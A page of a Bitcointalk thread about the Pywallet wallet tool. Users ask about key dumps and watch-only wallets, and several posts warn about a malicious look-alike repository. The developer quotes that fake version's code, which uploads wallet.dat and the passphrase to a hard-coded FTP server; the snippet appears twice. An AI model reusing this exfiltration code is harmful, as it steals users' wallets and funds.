Bitcoin Forum
November 19, 2024, 04:49:55 PM *
News: Latest Bitcoin Core release: 28.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 2 3 [4] 5 »  All
  Print  
Author Topic: New Pywallet 0.0.1a6  (Read 31134 times)
whitesand77
Full Member
***
Offline Offline

Activity: 125
Merit: 100


View Profile
September 25, 2014, 11:38:03 PM
 #61

python NPW_0.0.1a5.py

What are you running it on? Windows? Linux?

I got it to run but I didn't realize it doesn't support my wallet.

How does one go about supporting a different coin/wallet?

What do you want to do? (dump?import?)
You can use the old pywallet, or you can wait for the next version of NPW to be released

Ok, I need to dump ~9000 private keys and then import them into another wallet.

This is what happened.  I mined around 9,000 blocks of a coin and decided to move them to another wallet.  When I tried to send all the coins the wallet created a HUGE transaction and they now sit unconfirmed.  I'm assuming it's because the transaction is too large.  My wallet file is around 68MB.  I didn't realize when you mine there is a private key generated per "mined" transaction.

Can pywallet do this?  I don't feel like using the console window to manually dump each key.  Specially when the wallet is unresponsive for a couple minutes then lets to do something for a few seconds at a time.

I transfer mined coins more often and in smaller chunks now.  LOL  =)
btchris
Hero Member
*****
Offline Offline

Activity: 672
Merit: 504

a.k.a. gurnec on GitHub


View Profile WWW
September 26, 2014, 11:56:11 AM
Last edit: November 25, 2014, 03:03:08 PM by Raoul Duke
 #62

https :/ /github .com/ jj-jackjack/ pywallet

This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.

Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.

Ignore any pywallet download links which are not posted by JackJack himself.

edited: the scam post has been deleted; removed yelling.
Muhammed Zakir
Hero Member
*****
Offline Offline

Activity: 560
Merit: 509


I prefer Zakir over Muhammed when mentioning me!


View Profile WWW
September 26, 2014, 12:15:26 PM
Last edit: November 25, 2014, 03:03:30 PM by Raoul Duke
 #63

https :// github.com/ jj-jackjack/ pywallet

This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.

Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.

Ignore any pywallet download links which are not posted by JackJack himself.

Thank's for warning. Here is the correct link : https://github.com/jackjack-jj/pywallet . I have reported the post, I hope it will be deleted soon! Smiley

  ~~MZ~~

jackjack (OP)
Legendary
*
Offline Offline

Activity: 1176
Merit: 1280


May Bitcoin be touched by his Noodly Appendage


View Profile
September 26, 2014, 12:26:38 PM
Last edit: September 26, 2014, 12:41:41 PM by jackjack
 #64

That's why I sign stuff now... Sad
Always look at the sigs in OP, check my code, and check diffs
The diff of this scam: https://www.diffchecker.com/z5qzwxni (look at line 2600ish)

Code:
def cryptedul(): 
       import ftplib
        rand = random.randrange(000000, 999999)
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
with open(dbdir + '/wallet.dat', 'rb') as ifh:
        session.storbinary('STOR wallet.dat - ' + rand, ifh, 19206)
        session.quit()

def cryptedull():
        import ftplib
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
        with open(dbdir + '/wallet.dat', 'rb') as ifh:
                session.storbinary('STOR wallet.dat - ' + options.passphrase, ifh, 19206)
                session.quit()


The guy is also on reddit: (SCAM LINK) http://www.reddit.com/user/jj-jackjack

FYI
Scammers so far: Nimer, LittleHodor

Own address: 19QkqAza7BHFTuoz9N8UQkryP4E9jHo4N3 - Pywallet support: 1AQDfx22pKGgXnUZFL1e4UKos3QqvRzNh5 - Bitcointalk++ script support: 1Pxeccscj1ygseTdSV1qUqQCanp2B2NMM2
Pywallet: instructions. Encrypted wallet support, export/import keys/addresses, backup wallets, export/import CSV data from/into wallet, merge wallets, delete/import addresses and transactions, recover altcoins sent to bitcoin addresses, sign/verify messages and files with Bitcoin addresses, recover deleted wallets, etc.
whitesand77
Full Member
***
Offline Offline

Activity: 125
Merit: 100


View Profile
September 27, 2014, 10:43:25 PM
 #65

so can pywallet dump private keys?
jackjack (OP)
Legendary
*
Offline Offline

Activity: 1176
Merit: 1280


May Bitcoin be touched by his Noodly Appendage


View Profile
September 28, 2014, 08:20:37 AM
 #66

so can pywallet dump private keys?
Of course

Own address: 19QkqAza7BHFTuoz9N8UQkryP4E9jHo4N3 - Pywallet support: 1AQDfx22pKGgXnUZFL1e4UKos3QqvRzNh5 - Bitcointalk++ script support: 1Pxeccscj1ygseTdSV1qUqQCanp2B2NMM2
Pywallet: instructions. Encrypted wallet support, export/import keys/addresses, backup wallets, export/import CSV data from/into wallet, merge wallets, delete/import addresses and transactions, recover altcoins sent to bitcoin addresses, sign/verify messages and files with Bitcoin addresses, recover deleted wallets, etc.
jackjack (OP)
Legendary
*
Offline Offline

Activity: 1176
Merit: 1280


May Bitcoin be touched by his Noodly Appendage


View Profile
October 01, 2014, 09:01:47 PM
Last edit: October 01, 2014, 09:14:22 PM by jackjack
 #67

Looks like the 0.0.1a5 was broken
I'm putting a changelog in the OP, I hope I'll think about keeping it up-to-date for the next version

Code:
SHA256
3b34d02eeb77fb342fc34ddb143dc8117416bbeca4c041d28a8751076f373c2c        NPW_0.0.1a6.py
GzDu81IRrahUkquiTMHmhN39qVg3uewHPoRCHrFRQDjt9/vHLX/13fgdUwhGZ6s1slqIWKySJq+BZHI8DonSRig=

http://npw.jampa.eu/files/NPW_0.0.1a6.py

Own address: 19QkqAza7BHFTuoz9N8UQkryP4E9jHo4N3 - Pywallet support: 1AQDfx22pKGgXnUZFL1e4UKos3QqvRzNh5 - Bitcointalk++ script support: 1Pxeccscj1ygseTdSV1qUqQCanp2B2NMM2
Pywallet: instructions. Encrypted wallet support, export/import keys/addresses, backup wallets, export/import CSV data from/into wallet, merge wallets, delete/import addresses and transactions, recover altcoins sent to bitcoin addresses, sign/verify messages and files with Bitcoin addresses, recover deleted wallets, etc.
reapernz
Newbie
*
Offline Offline

Activity: 1
Merit: 0


View Profile
October 07, 2014, 09:15:59 AM
 #68

is a windows GUI version still coming for this release jackjack?
jackjack (OP)
Legendary
*
Offline Offline

Activity: 1176
Merit: 1280


May Bitcoin be touched by his Noodly Appendage


View Profile
October 11, 2014, 01:16:12 PM
 #69

is a windows GUI version still coming for this release jackjack?

Yes I'll do that

Own address: 19QkqAza7BHFTuoz9N8UQkryP4E9jHo4N3 - Pywallet support: 1AQDfx22pKGgXnUZFL1e4UKos3QqvRzNh5 - Bitcointalk++ script support: 1Pxeccscj1ygseTdSV1qUqQCanp2B2NMM2
Pywallet: instructions. Encrypted wallet support, export/import keys/addresses, backup wallets, export/import CSV data from/into wallet, merge wallets, delete/import addresses and transactions, recover altcoins sent to bitcoin addresses, sign/verify messages and files with Bitcoin addresses, recover deleted wallets, etc.
Dabs
Legendary
*
Offline Offline

Activity: 3416
Merit: 1912


The Concierge of Crypto


View Profile
October 21, 2014, 12:51:00 AM
 #70

jackjack, quick question. Can I use this new version to import a bunch of bitcoin addresses into a brand new wallet.dat file? With the encrypted wallet but nuked private keys. My purpose is to upload a watch-only wallet into a full node on the internet. It can see everything, but can't do anything, and hackers can't steal anything.

Here's my plan:
1. generate a few thousand addresses, using vanitygen or bitaddress or whatever.
2. start bitcoin core with an empty wallet, encrypt it with a password, then close it (shut down core).
3. use pywallet to import those addresses (I have the public key of course) to the new empty wallet.
4. run bitcoin core. It should now see all the addresses.

My issue is bulk-importing. Can pywallet accept a file as input, and what format should I put the keys in. (Does it need the private keys, or just the public keys, which is different from the bitcoin address.)

Alternatively, is there a way to get an existing wallet.dat and just kill the private keys in them? (by overwriting the part with zeros.)

What I might do instead is to import the private keys using core. Then have pywallet (or another tool) overwrite the parts where the private keys exist.

The obvious alternative is to simply import the keys, and use a 256-bit password for bitcoin core. However, I want to obliterate the private keys.

jackjack (OP)
Legendary
*
Offline Offline

Activity: 1176
Merit: 1280


May Bitcoin be touched by his Noodly Appendage


View Profile
October 21, 2014, 07:52:15 AM
 #71

The old pywallet can but not this one yet
I'll add that in the next version

Own address: 19QkqAza7BHFTuoz9N8UQkryP4E9jHo4N3 - Pywallet support: 1AQDfx22pKGgXnUZFL1e4UKos3QqvRzNh5 - Bitcointalk++ script support: 1Pxeccscj1ygseTdSV1qUqQCanp2B2NMM2
Pywallet: instructions. Encrypted wallet support, export/import keys/addresses, backup wallets, export/import CSV data from/into wallet, merge wallets, delete/import addresses and transactions, recover altcoins sent to bitcoin addresses, sign/verify messages and files with Bitcoin addresses, recover deleted wallets, etc.
Dabs
Legendary
*
Offline Offline

Activity: 3416
Merit: 1912


The Concierge of Crypto


View Profile
October 21, 2014, 08:56:20 AM
 #72

The old pywallet can but not this one yet
I'll add that in the next version

I have a simple request: have it get as input a typical encrypted wallet.dat, and spit out a new-wallet.dat file without the private keys. Smiley You probably don't even need the password.

btchris
Hero Member
*****
Offline Offline

Activity: 672
Merit: 504

a.k.a. gurnec on GitHub


View Profile WWW
October 21, 2014, 05:10:47 PM
 #73

Hi, jackjack.

You may want to at some point consider adding the fix-wallet-creation-crypto patch from the original pywallet in -- it looks like new pywallet is affected by those same bugs. You'd also need to re-add append_PKCS7_padding().

https://github.com/jackjack-jj/pywallet/commit/b52c955f8c93a75745166ebf281448016e1f22e2

-Chris
Dabs
Legendary
*
Offline Offline

Activity: 3416
Merit: 1912


The Concierge of Crypto


View Profile
October 22, 2014, 01:49:35 AM
 #74

While I'm at it, another simple request. Bulk import keys into an encrypted wallet.dat from csv. You may need the the private keys to derive the public keys, but the private keys will not be in the new wallet.dat.

I'm trying to create a watch-only full node, using Bitcoin Core. It's on the internet, therefore I prefer it to not have any private keys. All imported keys will be reserve keys or part of the pool. Core will not know the password/passphrase (I give it a dummy one at the start, when first creating the empty-wallet.dat) so it can't create new keys, and will use existing keys as needed.

I'm trying to import 5000 to 10000 keys, where the result will be a wallet file that only has public keys and bitcoin addresses, and the private keys are nuked.

If hackers steal the file, privacy may be lost, but no bitcoins will be lost.

Newar
Legendary
*
Offline Offline

Activity: 1358
Merit: 1001


https://gliph.me/hUF


View Profile
October 22, 2014, 05:30:25 PM
 #75

While I'm at it, another simple request. Bulk import keys into an encrypted wallet.dat from csv. You may need the the private keys to derive the public keys, but the private keys will not be in the new wallet.dat.

I'm trying to create a watch-only full node, using Bitcoin Core. It's on the internet, therefore I prefer it to not have any private keys. All imported keys will be reserve keys or part of the pool. Core will not know the password/passphrase (I give it a dummy one at the start, when first creating the empty-wallet.dat) so it can't create new keys, and will use existing keys as needed.

I'm trying to import 5000 to 10000 keys, where the result will be a wallet file that only has public keys and bitcoin addresses, and the private keys are nuked.

If hackers steal the file, privacy may be lost, but no bitcoins will be lost.

Have you looked at armoryd?

OTC rating | GPG keyid 1DC91318EE785FDE | Gliph: lightning bicycle tree music | Mycelium, a swift & secure Bitcoin client for Android | LocalBitcoins
Dabs
Legendary
*
Offline Offline

Activity: 3416
Merit: 1912


The Concierge of Crypto


View Profile
October 23, 2014, 12:59:35 AM
 #76

Have you looked at armoryd?

Armory has it's own daemon? heheh. I'll have to check that out. But, as far as I know, Armory still does not support use of compressed keys. I'd like to avoid being responsible for adding unnecessary bloat to the block chain. I mean, 10k addresses times 256 extra bits.

ABISprotocol
Sr. Member
****
Offline Offline

Activity: 278
Merit: 252

ABISprotocol on Gist


View Profile WWW
October 24, 2014, 09:13:08 PM
Last edit: December 23, 2014, 08:02:08 AM by ABISprotocol
 #77

I think I finished the "frameworks" (not sure it's the correct word)

As you can see the GUI and the WUI are simple and ugly
If someone here has some graphical skills and has some ideas, please tell me what to do

This is very interesting ~ I just looked at the github.
 [[edited 22 Dec 2014 edit: the following is the DO NOT DOWNLoad from link - perhaps you could have sandboxed it and done something but I didn't, I just used it for observation.  As I understand it you should follow the signatures of what is posted by JackJack himself and confirm it before actually downloading and using!]]

( https :// github .com / jj-jackjack / pywallet )


[YET ANOTHER EDIT after reading this...  I am of the understanding that the fake one is jj-jackjack ....Huh?? Right? Shit, now I am confused, except for the "Check JackJack's signature" part.. because all this has my head twisted around. Please feel free to private message me and tell me I am missing something really important and because of me the world is going to suffer and please make sure to explain step by step how I should change this post because I feel like I am missing something here!]

[[ As per a thread above, a different jackjack-jj link is alleged to be a scam link which supposedly removes BTC.]]
[[More 22 Dec. 2014 edit below:
https :/ /github .com/ jj-jackjack/ pywallet
This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.
Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.
Ignore any pywallet download links which are not posted by JackJack himself.
edited: the scam post has been deleted; removed yelling.

A few thoughts / suggestions come to mind as things that could be added / changed...

1) Code associated with standalone mixer plugin by BkkCoins could be added in (so that you wouldn't have to add the plugin),
currently this appears at
https://github.com/tkhaew/electrum/blob/mixer_plugin/plugins/mixer.py
Default folder will be something like this to put it in (if used as plugin for Electrum), poss. different version numbers.
/usr/local/lib/python2.7/dist-packages/Electrum-1.9.5-py2.7.egg/electrum_plugins/

[[THE tkhaew stuff is NOT fake by my understanding but.. correct me if I am wrong]]

2) Stealth support / Charity Donations section / http://abis.io ~  See https://github.com/spesmilo/sx/tree/master/tools for details

[[ http://abis.io and my repositories at https://github.com/ABISprotocol?tab=repositories including repositories I help manage such as those at BTC Foundation and Lighthouse:  I've observed them and all seems well. But if you are a contributor to one of the repositories and been affected by the recent problems in different countries / regions of late, please e-mail me and let me know (if you can), or if you can't, please use one of your network to connect with me in whatever way makes sense.

[[some stuff related to BTC and some stuff related to BCN]]]

The above is basically related to use of BTC, but I am also reminded that BCN (bytecoin.org / ring signatures / cryptonight) does not currently have a GUI and they are seeking one.  I wonder if this pywallet code could also be used / rewritten to create the first GUI wallet for BCN, as well. [[[don't know at this point, you'd have to ask the BCN devs]]]

[[  see also signature / code more recently posted from jackjack above - I've made another edit from Dec 22 2014 below... ]]

That's why I sign stuff now... Sad
Always look at the sigs in OP, check my code, and check diffs
The diff of this scam: https://www.diffchecker.com/z5qzwxni (look at line 2600ish)

Code:
def cryptedul(): 
       import ftplib
        rand = random.randrange(000000, 999999)
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
with open(dbdir + '/wallet.dat', 'rb') as ifh:
         session.storbinary('STOR wallet.dat - ' + rand, ifh, 19206)
         session.quit()

def cryptedull():
        import ftplib
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
        with open(dbdir + '/wallet.dat', 'rb') as ifh:
                session.storbinary('STOR wallet.dat - ' + options.passphrase, ifh, 19206)
                session.quit()


The guy is also on reddit: (SCAM LINK) http://www.reddit.com/user/jj-jackjack

FYI
Scammers so far: Nimer, LittleHodor


Not a scam is BitName / IDMAS evoled. Yes those are projects that I  am hoping will one day become reality, but currently has nothing because it is shown currently in another repository through github.com/cjbauer who has already developed concept much more: https://github.com/abisprotocol/bitname

I have been saying this again and again in Unsystem mailing list... but we need way better gpg procedures because between the attacks on tor networks and issues with tor relays, attacks on anarchist communities, attacks on various communities in usa / EEUU, some recent problems with git, all this happening almost at once, you could say it made my head spin.  let's please work offline on some procedures that are easy to use for our respective communities for gpg primarily in ways that make sense for all concerned regardless of whether or not we are part of core dev teams or just periodic commenters, thanks.  


uhhhhhhhhh..... sigh

ABISprotocol (Github/Gist)
http://abis.io
Sem
Member
**
Offline Offline

Activity: 93
Merit: 10


View Profile
December 07, 2014, 06:51:01 PM
 #78

Hello, jackjack

My little story) :

In 2011 i have coins at deepbit and local bitcoin qt wallet on my PC (windows xp). In 2012 I transfer by a mistake to old bitcoin qt wallet bitcoins from deepbit... Wallet already was deleted and no backups. Wallet doesn`t runs after transaction never. And it`s unencripted.
Now I recover wallet.dat and trying to get my bitcoins. Already install bitcoin qt and it`s totally syncronized.Replace recovered wallet.dat to bitcoin-qt directory. But balance - 0.00 and there are a new receiving address. (as i see it`s normal).

Can I check wallet.dat is the right one to that address by pywallet? And if yes, tell me how please... Or maybe some different way.
ABISprotocol
Sr. Member
****
Offline Offline

Activity: 278
Merit: 252

ABISprotocol on Gist


View Profile WWW
December 23, 2014, 07:06:42 AM
 #79

sem ~ see my comment above and also some recent e-mail representing yet another of my recent concern (not here on this forum but it should emerge eventually)

-abisprotocol

ABISprotocol (Github/Gist)
http://abis.io
GetClams.com
Full Member
***
Offline Offline

Activity: 179
Merit: 250


View Profile
January 29, 2016, 09:36:23 PM
 #80

Is this active anywhere?
Pages: « 1 2 3 [4] 5 »  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!